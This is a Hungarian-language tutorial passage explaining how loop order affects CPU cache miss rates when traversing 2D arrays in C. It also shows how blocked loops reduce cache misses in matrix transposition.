Az alábbi példában egy 2 dimenziós tömb, 2 különböző bejárásán mutatom meg, miért fontos a ciklusok sorrende.

Most először a jó példát mutatom

Bejárás sor-folytonosan:

for (int i=0; i<N; i++)
    for(int j=0; j<N; j++)
        sum += a[i][j];

A cache hiba vizsgálása előtt tisztázni kell, hogy C nyelv a 2 dimenziós tömböket sor-folytonosan helyezi el a memóriában. Tehát ha van egy {{4, 2}, {0, 6}} 2 dimenziós tömb akkor az a memóriában

… 4 | 2 | 0 | 6 ….. módon kap helyet

Ekkor a bejárás soronként megy végig. Ez szerencsés hiszen a térbeli lokalitás miatt sorokat fog a számítógép is a cache-be rakni. Így a feljebb kikötött feltevések és 64 bájtos blokkméret, 8 bájtos elemméret mellett az algoritmus cache hiba-aránya 1/8-ad lesz, de prefetch algoritmussal még ezen is lehetne javítani.

Most nézzük meg, hogyan NE csináljuk

Bejárás oszlop-folytonosan:

for (int j=0; j<N; j++)
    for(int i=0; i<N; i++)
        sum += a[i][j];

Itt felcseréltem a két ciklus sorrendjét. Ilyenkor hiába próbálja az egy sorban lévő elemeket (pl. a a[i][j+1], a[i][j+2], a[i][j+3] …) betölteni a számítógép, mert ha N > 8, akkor a[i][j] után következő a[i+1][j] nem lesz benne a cache-ben biztosan. Ha N*8 nagyobb mint a cache méret akkor még ennél is rosszabb a helyzet, mivel mire a külső ciklus lép egyet j-ből j+1-be addigra a[i][j+1] már nem lesz benne a cache-ben, hiába olvastuk be a[i][j]-nél. Tehát minden memóriahivatkozás cache hibát dob, azaz 100% az arány.

Blokkos ciklusszervezés

Van még egy további technika, az úgynevezett blokkos ciklusszervezés, amikor is blokkonként járunk be egy mátrixot. Ez például akkor tud nagy segítséget nyújtani, amikor egy mátrixot kell transzponálni:

for (int i=0; i<N; i++)
    for(int j=0; j<N; j++)
        b[j][i] = a[i][j];

Ekkor a-t sor-folytonosan b-t oszlop-folytonosan járjuk be, ezért a fenti példák alapján, elég nagy N esetén, b-nél 100% os lesz a cache hiba-arány. Ezen tudunk segíteni az alábbi módon:

for (bi=0; bi<=N-BLK; bi+=BLK)
    for (bj=0; bj<=N-BLK; bj+=BLK)
        for (i=bi; i<bi+BLK; i++)
            for (j=bj; j<bj+BLK; j++)
                b[j][i] = a[i][j];

Kicsit obfuszkáltnak tűnhet, de talán az ábra segít

Itt csak arra kell figyelni, hogy megfelelő BLK-t, azaz blokkméretet válasszunk, mivel az egésznek az a lényege, hogy akkora blokkot válasszunk, hogy minél kevesebbszer legyen cache hiba szummázva.

Kicsit edge-case-nek tűnhet ez az egész mátrix transzponálás, de a gyakorlatban rengeteg mátrix transzponálás és mátrix művelet történik, elég csak a grafikus kártyátokra nézni, ami pontosan erre van optimalizálva, a fenti technikáknál jóval bonyolultabb módszerekkel is.

Összegzés

Tehát megismerkedtünk a számítógépünk egy fontos elemével a tárhierarchiával, azon belül is szemügyre vettük jobban a cache-t, majd pedig ezt a tudást felhasználva gyakorlati problémákra tudtunk jobb teljesítményt eredményező megoldásokat találni. Kell ennél több? :D